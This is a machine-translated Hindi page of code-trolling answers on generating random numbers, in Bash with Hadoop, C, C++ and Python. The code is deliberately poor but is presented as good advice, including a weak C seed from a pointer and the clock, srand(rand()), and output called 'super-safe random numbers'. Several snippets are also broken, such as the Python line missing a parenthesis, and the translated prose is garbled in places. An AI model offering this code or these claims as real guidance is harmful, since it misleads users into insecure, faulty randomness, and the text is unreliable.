cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

अगला, स्क्रिप्ट वांछित के रूप में क्लस्टर नौकरियों को चलाएगी:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

भगवान का शुक्र है, हमारे पास Hadoop की शक्ति है!


यह बैश है जो इसे बनाता है: :)
दंगा


0

ANSI सी

यह काफी मुश्किल है और मैं इसके बारे में बहुत ज्यादा चिंता नहीं करूंगा। बस नीचे दिए गए कोड को अपनी लाइब्रेरी में कॉपी और पेस्ट करें और आप हमेशा के लिए सुनहरे हो जाएंगे।

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

0

C ++ आज़माएं - तेज़, शक्तिशाली, वह सब कुछ जो आप कभी भी चाहते हैं:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

वैसे, सर्वोत्तम परिणामों के लिए, आप एक का उपयोग करना चाहेंगे class


स्पष्टीकरण:
1. वह उपयोग करने की जरूरत नहीं है class- कि पूरी तरह से बेमानी है।
2. रिटर्न स्टेटमेंट generate_num()वास्तव में नंबर ^ (नंबर ^ 0) देता है, जो नंबर ^ 1 का मूल्यांकन करता है, जो नंबर है। यह भी बेमानी है।
3. सबसे अनावश्यक त्रुटि-हैंडलिंग - डेटा-छिद्रण के इस मूल के साथ क्या गलत हो सकता है?
4. मैंने नाम स्थान के std::सभी तत्वों से पहले उपयोग किया था std। यह भी बेमानी है।
5. द#define कथन अनावश्यक भी हैं - मैंने उसे यह सोचने के लिए बनाया कि मैंने विशेष रूप से इस कार्यक्रम के लिए उन प्रकारों को परिभाषित किया है।

अस्वीकरण:
यह कार्यक्रम वास्तव में काम करता है; हालाँकि, मैं किसी भी व्यक्ति या संस्था को वास्तविक जीवन के लिए उनके कोड में इसका उपयोग करने की सलाह नहीं देता। मैं इस कोड पर कोई अधिकार नहीं रखता; दूसरे शब्दों में, मैं इसे पूरी तरह से ओपन-सोर्स बनाता हूं।


यह std::उपसर्ग का उपयोग करने के लिए वास्तव में अच्छा अभ्यास है , बिना उपयोग के using namespace std, ताकि आप वैश्विक दायरे को प्रदूषित न करें। (यदि आप आलसी हैं, using std::coutऔर इस तरह अभी भी बेहतर हैं using namespace std।)
nyuszika7h

ओह। ब्रेज़न स्ट्रॉस्ट्रुप ने using namespace std;सीधे अन्य सभी वर्गों का उपयोग करने और निर्दिष्ट करने के लिए कहा ।

0

अजगर

कार्यात्मक भाग लेना - लगभग एक-लाइनर अजगर

import random
map(lambda x: random.random(), xrange(input())
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.